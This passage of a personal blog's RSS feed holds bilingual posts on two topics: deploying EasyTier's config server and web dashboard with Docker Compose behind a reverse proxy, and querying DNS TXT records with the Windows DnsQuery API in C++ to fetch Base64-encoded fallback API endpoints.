&lt;td&gt;Formats log message (supports variadic arguments) and pushes to the queue.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;set_level&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Dynamically sets the log and print levels.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;open&lt;/code&gt;/&lt;code&gt;close&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Opens/closes the log file.&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;hr /&gt;
&lt;p&gt;Complete code and test sample download:
&lt;a href=&quot;/downloads/2025/04/3361655567.zip&quot;&gt;demo.zip&lt;/a&gt;&lt;/p&gt;
</content:encoded></item><item><title>Docker下中心化部署EasyTier</title><link>https://blog.iyoroy.cn/posts/43/</link><guid isPermaLink="true">https://blog.iyoroy.cn/posts/43/</guid><description>通过 Docker Compose 部署 EasyTier 的配置服务和 Web 控制台，配合 HTTPS 反向代理，集中管理各个节点的配置。</description><pubDate>Mon, 14 Apr 2025 17:04:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://easytier.cn&quot;&gt;EasyTier&lt;/a&gt;本身是个去中心化的p2p工具，任意节点都可作为转发服务器使用。但是每个节点的配置文件都得手动编写，从tailscale迁移过来时觉得有点不习惯。再加上摸索阶段经常需要修改配置文件的内容，故打算还是中心化部署EasyTier的Dashboard，统一管理设备。&lt;/p&gt;
&lt;p&gt;项目仓库：https://github.com/easytier/easytier&lt;/p&gt;
&lt;p&gt;官方文档并未提供单独部署config-server的方式，但是实际上也不难，服务端已经包含在下载下来的二进制文件中了。本文着重论述通过Docker Compose安装，需要二进制模式安装的可参考下方参考文章。&lt;/p&gt;
&lt;h1&gt;分析&lt;/h1&gt;
&lt;p&gt;dashboard的部署主要分为两个部分，一个是后端RESTful API，一个是前端web控制台。其中Release里的&lt;strong&gt;easytier-web-embed&lt;/strong&gt;同时提供了这俩，因此只要运行此二进制文件即可实现功能。&lt;/p&gt;
&lt;h1&gt;开整&lt;/h1&gt;
&lt;h2&gt;部署API和Web控制台&lt;/h2&gt;
&lt;p&gt;Docker部署，没什么好说的。&lt;/p&gt;
&lt;p&gt;需要开放两个端口：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;11211/tcp: API接口，HTTP&lt;/li&gt;
&lt;li&gt;22020/udp: 用于客户端（easytier-core）和服务器通信&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;目录映射需要映射容器内&lt;code&gt;/app&lt;/code&gt;文件夹，用作存储持久化数据。&lt;/p&gt;
&lt;p&gt;Compose文件如下：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;services:
  easytier:
    restart: always
    hostname: easytier
    volumes:
      - /opt/easytier/api:/app
    ports:
      - &quot;127.0.0.1:11211:11211&quot;
      - &quot;22020:22020/udp&quot;
    environment:
      - TZ=Asia/Shanghai
    image: easytier/easytier:latest 
    entrypoint: easytier-web-embed
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;此处镜像和官方文档的Docker部署客户端用的是同一个，默认入口点是&lt;strong&gt;easytier-core&lt;/strong&gt;，因此运行webapi需要指定&lt;code&gt;entrypoint&lt;/code&gt;为&lt;strong&gt;easytier-web-embed&lt;/strong&gt;。&lt;br /&gt;
因为API接口需要HTTPS，故此处没有直接将11211端口暴露公网，而是暴露到127.0.0.1再使用反向代理实现HTTPS。&lt;/p&gt;
&lt;h2&gt;设置反向代理&lt;/h2&gt;
&lt;p&gt;我使用的是1Panel，因此直接在面板中创建一个网站，反向代理到设置的API端口即可。&lt;/p&gt;
&lt;h2&gt;注册控制台账号&lt;/h2&gt;
&lt;p&gt;完成部署后打开&lt;code&gt;https://你的域名&lt;/code&gt;（如果是内建控制台版本则不需要加&lt;code&gt;/web/&lt;/code&gt;），将Api Host改为&lt;code&gt;https://你的域名&lt;/code&gt;，注意填Api Host的时候URL末尾&lt;strong&gt;不要带“/”&lt;/strong&gt;，否则会出莫名其妙的问题。点击下方Register注册一个账号&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./images/2025/04/384755496.png&quot; alt=&quot;1.png&quot; /&gt;&lt;/p&gt;
&lt;p&gt;再使用这个账号登录即可进入控制台。&lt;/p&gt;
&lt;h2&gt;客户端配置&lt;/h2&gt;
&lt;p&gt;将启动参数全部删除，仅保留&lt;code&gt;--config-server udp://你的ip:22020/你的用户名&lt;/code&gt;即可。运行easytier-core，再回到控制台即可看到设备。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./images/2025/04/142134751.png&quot; alt=&quot;2.png&quot; /&gt;&lt;/p&gt;
&lt;p&gt;点击右边的设置按钮，点击Create为其创建网络，接下来的步骤就和本地GUI模式操作一样了，这里就不赘述了。保存后在network栏选择新建的网络即可加入。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./images/2025/04/2966528250.png&quot; alt=&quot;3.png&quot; /&gt;&lt;/p&gt;
&lt;p&gt;因为Docker重启容器内数据会丢失，Docker下部署客户端时需要映射一个文件到容器内&lt;code&gt;/usr/local/bin/et_machine_id&lt;/code&gt;用作保存machine id，否则每次重启后都需要重新为其配置网络。同时，给容器设置&lt;code&gt;hostname&lt;/code&gt;可以作为设备在web控制台显示的名称。&lt;/p&gt;
&lt;p&gt;这里贴一下我的compose：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;services:
  easytier:
    command: &apos;--config-server udp://&amp;lt;ip&amp;gt;:22020/KaguraiYoRoy&apos;
    environment:
      - TZ=Asia/Shanghai
    hostname: truenas
    image: easytier/easytier:latest
    labels:
      com.centurylinklabs.watchtower.enable: &apos;true&apos;
    mem_limit: 0m
    network_mode: host
    privileged: True
    restart: always
    volumes:
      - &amp;gt;-
        /mnt/systemdata/DockerData/easytier/app/et_machine_id:/usr/local/bin/et_machine_id
  watchtower:
    command: &apos;--interval 3600 --cleanup --label-enable&apos;
    environment:
      - TZ=Asia/Shanghai
      - WATCHTOWER_NO_STARTUP_MESSAGE
    image: containrrr/watchtower
    restart: always
    volumes:
      - /var/run/docker.sock:/var/run/docker.sock
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;p&gt;参考：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;https://blog.mitsea.com/1a57bda595c580088006c17d6ba2a744/&lt;/li&gt;
&lt;li&gt;https://github.com/EasyTier/EasyTier/issues/722&lt;/li&gt;
&lt;li&gt;https://github.com/EasyTier/EasyTier/issues/577&lt;/li&gt;
&lt;li&gt;https://github.com/EasyTier/EasyTier/pull/718&lt;/li&gt;
&lt;/ul&gt;
</content:encoded></item><item><title>Centralized Deployment of EasyTier using Docker</title><link>https://blog.iyoroy.cn/posts/en-43/</link><guid isPermaLink="true">https://blog.iyoroy.cn/posts/en-43/</guid><description>Deploying EasyTier&apos;s configuration service and web dashboard with Docker Compose and an HTTPS reverse proxy to manage node configurations from one place.</description><pubDate>Mon, 14 Apr 2025 17:04:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://easytier.cn&quot;&gt;EasyTier&lt;/a&gt; is inherently a decentralized P2P tool where any node can act as a relay server. However, each node&apos;s configuration file must be manually edited, which felt somewhat unfamiliar after migrating from Tailscale. Additionally, during the exploration phase, frequent configuration changes are often needed, leading to the decision to deploy EasyTier&apos;s Dashboard centrally for unified device management.&lt;/p&gt;
&lt;p&gt;Project Repository: https://github.com/easytier/easytier&lt;/p&gt;
&lt;p&gt;The official documentation doesn&apos;t explicitly provide a method for deploying the config-server separately, but it&apos;s actually quite straightforward, as the server component is already included in the downloaded binary file. This article focuses on installation via Docker Compose. For binary installation, please refer to the reference articles below.&lt;/p&gt;
&lt;h1&gt;Analysis&lt;/h1&gt;
&lt;p&gt;The dashboard deployment consists of two main parts: a backend RESTful API and a frontend web console. The &lt;strong&gt;easytier-web-embed&lt;/strong&gt; binary found in the Releases provides both. Therefore, running this single binary enables the full functionality.&lt;/p&gt;
&lt;h1&gt;Let&apos;s Get Started&lt;/h1&gt;
&lt;h2&gt;Deploying the API and Web Console&lt;/h2&gt;
&lt;p&gt;Deploying with Docker is straightforward.&lt;/p&gt;
&lt;p&gt;Two ports need to be exposed:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;code&gt;11211/tcp&lt;/code&gt;: API interface, HTTP&lt;/li&gt;
&lt;li&gt;&lt;code&gt;22020/udp&lt;/code&gt;: For communication between clients (&lt;code&gt;easytier-core&lt;/code&gt;) and the server.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Volume mapping is required for the container&apos;s &lt;code&gt;/app&lt;/code&gt; folder to persist data.&lt;/p&gt;
&lt;p&gt;The Compose file is as follows:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;services:
  easytier:
    restart: always
    hostname: easytier
    volumes:
      - /opt/easytier/api:/app
    ports:
      - &quot;127.0.0.1:11211:11211&quot;
      - &quot;22020:22020/udp&quot;
    environment:
      - TZ=Asia/Shanghai
    image: easytier/easytier:latest 
    entrypoint: easytier-web-embed
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The image here is the same one used for deploying the client via Docker in the official documentation. The default entrypoint is &lt;strong&gt;easytier-core&lt;/strong&gt;, so running the web API requires specifying the entrypoint as &lt;strong&gt;easytier-web-embed&lt;/strong&gt;.
Since the API interface requires HTTPS, the &lt;code&gt;11211&lt;/code&gt; port is not directly exposed to the public internet here. Instead, it&apos;s bound to &lt;code&gt;127.0.0.1&lt;/code&gt; and then exposed via a reverse proxy with HTTPS.&lt;/p&gt;
&lt;h2&gt;Setting up Reverse Proxy&lt;/h2&gt;
&lt;p&gt;I use 1Panel, so I simply created a new site in the panel and set up a reverse proxy to the configured API port.&lt;/p&gt;
&lt;h2&gt;Registering a Console Account&lt;/h2&gt;
&lt;p&gt;After deployment, open &lt;code&gt;https://your-domain.com&lt;/code&gt; (if using the built-in console version, adding &lt;code&gt;/web/&lt;/code&gt; is not necessary). Change the &apos;Api Host&apos; to &lt;code&gt;https://your-domain.com&lt;/code&gt;. Ensure there is no trailing &quot;&lt;code&gt;/&lt;/code&gt;&quot; in the Api Host URL, otherwise, strange issues may occur. Click &apos;Register&apos; below to create an account.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./images/2025/04/384755496.png&quot; alt=&quot;1.png&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Then use this account to log in and access the console.&lt;/p&gt;
&lt;h2&gt;Client Configuration&lt;/h2&gt;
&lt;p&gt;Remove all startup parameters for the client, keeping only &lt;code&gt;--config-server udp://your-ip:22020/your-username&lt;/code&gt;. Run the &lt;code&gt;easytier-core&lt;/code&gt; binary, and the device should appear in the console.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./images/2025/04/142134751.png&quot; alt=&quot;2.png&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Click the settings button on the right, then click &apos;Create&apos; to create a network for it. The subsequent steps are the same as in the local GUI mode and won&apos;t be detailed here. After saving, select the newly created network from the &apos;network&apos; dropdown to join it.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./images/2025/04/2966528250.png&quot; alt=&quot;3.png&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Because Docker container data is lost on restart, when deploying the client in Docker, a file must be mapped to the container path &lt;code&gt;/usr/local/bin/et_machine_id&lt;/code&gt; to save the machine ID. Otherwise, the network will need to be reconfigured after each restart. Additionally, setting the container&apos;s &lt;code&gt;hostname&lt;/code&gt; can be used as the device name displayed in the web console.&lt;/p&gt;
&lt;p&gt;Here is my compose file for the client:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;services:
  easytier:
    command: &apos;--config-server udp://&amp;lt;ip&amp;gt;:22020/KaguraiYoRoy&apos;
    environment:
      - TZ=Asia/Shanghai
    hostname: truenas
    image: easytier/easytier:latest
    labels:
      com.centurylinklabs.watchtower.enable: &apos;true&apos;
    mem_limit: 0m
    network_mode: host
    privileged: True
    restart: always
    volumes:
      - &amp;gt;-
        /mnt/systemdata/DockerData/easytier/app/et_machine_id:/usr/local/bin/et_machine_id
  watchtower:
    command: &apos;--interval 3600 --cleanup --label-enable&apos;
    environment:
      - TZ=Asia/Shanghai
      - WATCHTOWER_NO_STARTUP_MESSAGE
    image: containrrr/watchtower
    restart: always
    volumes:
      - /var/run/docker.sock:/var/run/docker.sock
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;p&gt;References:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;https://blog.mitsea.com/1a57bda595c580088006c17d6ba2a744/&lt;/li&gt;
&lt;li&gt;https://github.com/EasyTier/EasyTier/issues/722&lt;/li&gt;
&lt;li&gt;https://github.com/EasyTier/EasyTier/issues/577&lt;/li&gt;
&lt;li&gt;https://github.com/EasyTier/EasyTier/pull/718&lt;/li&gt;
&lt;/ul&gt;
</content:encoded></item><item><title>C++使用WINAPI查询DNS解析记录</title><link>https://blog.iyoroy.cn/posts/38/</link><guid isPermaLink="true">https://blog.iyoroy.cn/posts/38/</guid><description>用 C++ 调用 Windows 的 DnsQuery 读取 TXT 记录，并解码其中的 Base64 数据，为客户端获取备用 API 节点地址。</description><pubDate>Thu, 20 Mar 2025 09:33:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;s&gt;这篇文章是古早时期的博客上迁移过来的（什么赛博秽土转生），&lt;/s&gt; 如有错误欢迎指正&lt;/p&gt;
&lt;h1&gt;时间线&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;2022年7月5日：于旧博客上发布，可在archive.org找到&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;2025年3月20日：迁移至当前博客&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;2026年2月21日：添加头文件和静态库文件链接提醒&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h1&gt;背景&lt;/h1&gt;
&lt;p&gt;为API配置了多条访问线路，以应对部分地区无法访问导致服务不可用的情况。开始是想到在网站里新建一个文件保存节点信息，发现行不通，联不通的地区根本无法获知其他线路；于是想到用DNS解析记录，用一个TXT解析记录来保存相应的节点数据，以备查询&lt;/p&gt;
&lt;h1&gt;实战&lt;/h1&gt;
&lt;h2&gt;查询资料&lt;/h2&gt;
&lt;p&gt;一番Bing下来，发现大部分现有的文章都是使用socket来直接发送查询数据包，获取到的也都是A和CNAME类型的记录，方案不可行。最后，把目光锁定到了MSDN上的DnsQuery函数上，同时找到一篇样例：&lt;a href=&quot;https://learn.microsoft.com/zh-cn/previous-versions/troubleshoot/windows/win32/use-dnsquery-resolve-host-names&quot;&gt;使用DnsQuery解析主机名&lt;/a&gt;&lt;/p&gt;
&lt;h2&gt;函数分析&lt;/h2&gt;
&lt;p&gt;从官方文档上得知，函数所需头文件为windns.h，需要包含引入库文件Ws2_32.lib和Dnsapi.lib，函数的参数如下：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;DNS_STATUS DnsQuery_A(
  [in]                PCSTR       pszName,
  [in]                WORD        wType,
  [in]                DWORD       Options,
  [in, out, optional] PVOID       pExtra,
  [out, optional]     PDNS_RECORD *ppQueryResults,
  [out, optional]     PVOID       *pReserved
);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;参数解释：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;pszName&lt;/code&gt;是要查询的主机名；&lt;/li&gt;
&lt;li&gt;&lt;code&gt;wType&lt;/code&gt;是查询类型，如A记录，CNAME，TXT等，具体的MSDN官方给出了文档：&lt;a href=&quot;https://learn.microsoft.com/en-us/windows/win32/dns/dns-constants&quot;&gt;DNS Constants&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;Options&lt;/code&gt;字面意思上理解是查询方式，我直接使用DNS_QUERY_STANDARD，具体也可以查询文档：&lt;a href=&quot;https://learn.microsoft.com/en-us/windows/win32/dns/dns-constants&quot;&gt;DNS Constants&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;pExtra&lt;/code&gt;和&lt;code&gt;pReserved&lt;/code&gt;直接给NULL就行&lt;/li&gt;
&lt;li&gt;&lt;code&gt;ppQueryResults&lt;/code&gt;传入查询结果的指针，类型是PDNS_RECORD，这个需要传入变量值的引用。&lt;/li&gt;
&lt;li&gt;返回值，DNS_STATUS类型，如果查询失败会返回Winerror.h中的相应错误码&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;使用&lt;/h2&gt;
&lt;p&gt;明白了使用方法，那就简单了。&lt;br /&gt;
首先引入库：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;#include &amp;lt;windns.h&amp;gt;
#pragma comment(lib, &quot;Ws2_32.lib&quot;)
#pragma comment(lib, &quot;Dnsapi.lib&quot;)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;我的TXT记录域名为test.iyoroy.cn，查询部分代码如下：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;PDNS_RECORD pDnsRecord;
DNS_STATUS QueryRet = DnsQuery(L&quot;test.iyoroy.cn&quot;, DNS_TYPE_TEXT, DNS_QUERY_STANDARD, NULL, &amp;amp;pDnsRecord, NULL);
if (QueryRet) {
    MessageBox(GhWnd, L&quot;DNS查询失败！\r\n将使用默认节点&quot;, L&quot;Warning&quot;, MB_ICONERROR | MB_OK); 
}
std::wstring strQueryRes = *pDnsRecord-&amp;gt;Data.TXT.pStringArray;//这个就是查询结果

&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;成功实现功能&lt;/p&gt;
&lt;h1&gt;后记&lt;/h1&gt;
&lt;p&gt;TXT记录会自动过滤掉空格、换行，因此我选择记录base64编码，使用时再解码并使用stringstream拆分空格。Base64解码我借鉴了这篇文章：&lt;a href=&quot;https://blog.csdn.net/sky04/article/details/6881649&quot;&gt;C++进行base64编码和解码&lt;/a&gt;，以下是我用宽字节重写的解码函数&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;展开代码&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;//Function:Base64解密
static const std::wstring base64_chars =
L&quot;ABCDEFGHIJKLMNOPQRSTUVWXYZ&quot;
L&quot;abcdefghijklmnopqrstuvwxyz&quot;
L&quot;0123456789+/&quot;;
static inline bool is_base64(wchar_t c) {
    return (isalnum(c) || (c == &apos;+&apos;) || (c == &apos;/&apos;));
}

std::wstring base64_decode(std::wstring const&amp;amp; encoded_string) {
    int in_len = encoded_string.size();
    int i = 0;
    int j = 0;
    int in_ = 0;
    wchar_t char_array_4[4], char_array_3[3];
    std::wstring ret;

    while (in_len-- &amp;amp;&amp;amp; (encoded_string[in_] != &apos;=&apos;) &amp;amp;&amp;amp; is_base64(encoded_string[in_])) {
        char_array_4[i++] = encoded_string[in_]; in_++;
        if (i == 4) {
            for (i = 0; i &amp;lt; 4; i++)
                char_array_4[i] = base64_chars.find(char_array_4[i]);

            char_array_3[0] = (char_array_4[0] &amp;lt;&amp;lt; 2) + ((char_array_4[1] &amp;amp; 0x30) &amp;gt;&amp;gt; 4);
            char_array_3[1] = ((char_array_4[1] &amp;amp; 0xf) &amp;lt;&amp;lt; 4) + ((char_array_4[2] &amp;amp; 0x3c) &amp;gt;&amp;gt; 2);
            char_array_3[2] = ((char_array_4[2] &amp;amp; 0x3) &amp;lt;&amp;lt; 6) + char_array_4[3];

            for (i = 0; (i &amp;lt; 3); i++)
                ret += char_array_3[i];
            i = 0;
        }
    }

    if (i) {
        for (j = i; j &amp;lt; 4; j++)
            char_array_4[j] = 0;

        for (j = 0; j &amp;lt; 4; j++)
            char_array_4[j] = base64_chars.find(char_array_4[j]);

        char_array_3[0] = (char_array_4[0] &amp;lt;&amp;lt; 2) + ((char_array_4[1] &amp;amp; 0x30) &amp;gt;&amp;gt; 4);
        char_array_3[1] = ((char_array_4[1] &amp;amp; 0xf) &amp;lt;&amp;lt; 4) + ((char_array_4[2] &amp;amp; 0x3c) &amp;gt;&amp;gt; 2);
        char_array_3[2] = ((char_array_4[2] &amp;amp; 0x3) &amp;lt;&amp;lt; 6) + char_array_4[3];

        for (j = 0; (j &amp;lt; i - 1); j++) ret += char_array_3[j];
    }

    return ret;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;拆分：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;wstringstream wDnsRec(base64_decode(*pDnsRecord-&amp;gt;Data.TXT.pStringArray));
wstring wNodes[16];

unsigned int nNodes = 0;
while (wDnsRec &amp;gt;&amp;gt; wNodes[nNodes])
    nNodes++;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;之后再选择可用节点就行&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;参考文章：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;https://learn.microsoft.com/zh-cn/previous-versions/troubleshoot/windows/win32/use-dnsquery-resolve-host-names&lt;/li&gt;
&lt;li&gt;https://learn.microsoft.com/en-us/windows/win32/dns/dns-constants&lt;/li&gt;
&lt;li&gt;https://blog.csdn.net/sky04/article/details/6881649&lt;/li&gt;
&lt;/ul&gt;
</content:encoded></item><item><title>Querying DNS Records Using WINAPI in C++</title><link>https://blog.iyoroy.cn/posts/en-38/</link><guid isPermaLink="true">https://blog.iyoroy.cn/posts/en-38/</guid><description>Querying DNS TXT records with Windows DnsQuery in C++ and decoding their Base64 content to discover alternative API endpoints.</description><pubDate>Thu, 20 Mar 2025 09:33:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;s&gt;This article has been migrated from an old blog (a kind of cyber reincarnation)&lt;/s&gt;. Corrections are welcome if any errors are found.&lt;/p&gt;
&lt;h1&gt;Timeline&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;July 5, 2022: Published on the old blog, available on archive.org&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;March 20, 2025: Migrated to the current blog&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Febuary 21, 2026: Added reminder for header and static library file links&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h1&gt;Background&lt;/h1&gt;
&lt;p&gt;Multiple access endpoints were configured for an API to handle service unavailability in certain regions where access might be blocked. Initially, I considered creating a file within the website to store node information, but this approach proved unfeasible because regions with connectivity issues couldn&apos;t retrieve information about other endpoints. Then, the idea emerged to use DNS resolution records - specifically, a TXT record - to store the relevant node data for querying.&lt;/p&gt;
&lt;h1&gt;Implementation&lt;/h1&gt;
&lt;h2&gt;Research&lt;/h2&gt;
&lt;p&gt;After searching on Bing, I found that most existing articles use sockets to directly send query packets. However, these methods typically only retrieve A and CNAME records, which wasn&apos;t suitable for my needs. Finally, I focused on the &lt;code&gt;DnsQuery&lt;/code&gt; function mentioned in MSDN and found a sample article: &lt;a href=&quot;https://learn.microsoft.com/en-us/previous-versions/troubleshoot/windows/win32/use-dnsquery-resolve-host-names&quot;&gt;Use DnsQuery to Resolve Host Names&lt;/a&gt;.&lt;/p&gt;
&lt;h2&gt;Function Analysis&lt;/h2&gt;
&lt;p&gt;According to the official documentation, the function requires the header &lt;code&gt;windns.h&lt;/code&gt; and needs to link against the libraries &lt;code&gt;Ws2_32.lib&lt;/code&gt; and &lt;code&gt;Dnsapi.lib&lt;/code&gt;. The function parameters are as follows:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;DNS_STATUS DnsQuery_A(
  [in]                PCSTR       pszName,
  [in]                WORD        wType,
  [in]                DWORD       Options,
  [in, out, optional] PVOID       pExtra,
  [out, optional]     PDNS_RECORD *ppQueryResults,
  [out, optional]     PVOID       *pReserved
);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Parameter Explanation:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;pszName&lt;/code&gt; is the hostname to query.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;wType&lt;/code&gt; is the query type, such as A record, CNAME, TXT, etc. Specific constants are documented by MSDN: &lt;a href=&quot;https://learn.microsoft.com/en-us/windows/win32/dns/dns-constants&quot;&gt;DNS Constants&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;Options&lt;/code&gt; literally means the query method. I used DNS_QUERY_STANDARD directly. Details can also be found in the documentation: &lt;a href=&quot;https://learn.microsoft.com/en-us/windows/win32/dns/dns-constants&quot;&gt;DNS Constants&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;pExtra&lt;/code&gt; and &lt;code&gt;pReserved&lt;/code&gt; can simply be set to &lt;code&gt;NULL&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;ppQueryResults&lt;/code&gt;is a pointer to the query results, of type &lt;code&gt;PDNS_RECORD*&lt;/code&gt;. This requires passing a reference to the variable&apos;s value.&lt;/li&gt;
&lt;li&gt;Return value: The &lt;code&gt;DNS_STATUS&lt;/code&gt; type. If the query fails, it returns the corresponding error code from &lt;code&gt;Winerror.h&lt;/code&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Usage&lt;/h2&gt;
&lt;p&gt;Understanding the usage method made it straightforward.&lt;br /&gt;
To avoid linker errors, make sure to include the following headers and libraries at the beginning:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;#include &amp;lt;windns.h&amp;gt;
#pragma comment(lib, &quot;Ws2_32.lib&quot;)
#pragma comment(lib, &quot;Dnsapi.lib&quot;)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;My TXT record domain is &lt;code&gt;test.iyoroy.cn&lt;/code&gt;. The query code is as follows:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;PDNS_RECORD pDnsRecord;
DNS_STATUS QueryRet = DnsQuery(L&quot;test.iyoroy.cn&quot;, DNS_TYPE_TEXT, DNS_QUERY_STANDARD, NULL, &amp;amp;pDnsRecord, NULL);
if (QueryRet) {
    MessageBox(GhWnd, L&quot;DNS query failed!\r\nWill use the default node.&quot;, L&quot;Warning&quot;, MB_ICONERROR | MB_OK); 
}
std::wstring strQueryRes = *pDnsRecord-&amp;gt;Data.TXT.pStringArray; // This is the query result.
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Successfully implemented the functionality.&lt;/p&gt;
&lt;h1&gt;Postscript&lt;/h1&gt;
&lt;p&gt;TXT records automatically filter out spaces and line breaks. Therefore, I chose to store Base64 encoded data in the record, decode it when used, and then split it using &lt;code&gt;stringstream&lt;/code&gt;. For Base64 decoding, I adapted the code from this article: &lt;a href=&quot;https://blog.csdn.net/sky04/article/details/6881649&quot;&gt;Base64 Encoding and Decoding in C++&lt;/a&gt;. Below is the rewritten decoding function using wide characters:&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Expand Code&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;//Function: Base64 Decryption
static const std::wstring base64_chars =
L&quot;ABCDEFGHIJKLMNOPQRSTUVWXYZ&quot;
L&quot;abcdefghijklmnopqrstuvwxyz&quot;
L&quot;0123456789+/&quot;;
static inline bool is_base64(wchar_t c) {
    return (isalnum(c) || (c == L&apos;+&apos;) || (c == L&apos;/&apos;));
}

std::wstring base64_decode(std::wstring const&amp;amp; encoded_string) {
    int in_len = encoded_string.size();
    int i = 0;
    int j = 0;
    int in_ = 0;
    wchar_t char_array_4[4], char_array_3[3];
    std::wstring ret;

    while (in_len-- &amp;amp;&amp;amp; (encoded_string[in_] != L&apos;=&apos;) &amp;amp;&amp;amp; is_base64(encoded_string[in_])) {
        char_array_4[i++] = encoded_string[in_]; in_++;
        if (i == 4) {
            for (i = 0; i &amp;lt; 4; i++)
                char_array_4[i] = base64_chars.find(char_array_4[i]);

            char_array_3[0] = (char_array_4[0] &amp;lt;&amp;lt; 2) + ((char_array_4[1] &amp;amp; 0x30) &amp;gt;&amp;gt; 4);
            char_array_3[1] = ((char_array_4[1] &amp;amp; 0xf) &amp;lt;&amp;lt; 4) + ((char_array_4[2] &amp;amp; 0x3c) &amp;gt;&amp;gt; 2);
            char_array_3[2] = ((char_array_4[2] &amp;amp; 0x3) &amp;lt;&amp;lt; 6) + char_array_4[3];

            for (i = 0; (i &amp;lt; 3); i++)
                ret += char_array_3[i];
            i = 0;
        }
    }

    if (i) {
        for (j = i; j &amp;lt; 4; j++)
            char_array_4[j] = 0;

        for (j = 0; j &amp;lt; 4; j++)
            char_array_4[j] = base64_chars.find(char_array_4[j]);

        char_array_3[0] = (char_array_4[0] &amp;lt;&amp;lt; 2) + ((char_array_4[1] &amp;amp; 0x30) &amp;gt;&amp;gt; 4);
        char_array_3[1] = ((char_array_4[1] &amp;amp; 0xf) &amp;lt;&amp;lt; 4) + ((char_array_4[2] &amp;amp; 0x3c) &amp;gt;&amp;gt; 2);
        char_array_3[2] = ((char_array_4[2] &amp;amp; 0x3) &amp;lt;&amp;lt; 6) + char_array_4[3];

        for (j = 0; (j &amp;lt; i - 1); j++) ret += char_array_3[j];
    }

    return ret;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Splitting the decoded string:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;wstringstream wDnsRec(base64_decode(*pDnsRecord-&amp;gt;Data.TXT.pStringArray));
wstring wNodes[16];

unsigned int nNodes = 0;
while (wDnsRec &amp;gt;&amp;gt; wNodes[nNodes])
    nNodes++;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;After that, selecting an available node becomes possible.&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;Reference Articles:&lt;/p&gt;
&lt;ul&gt;
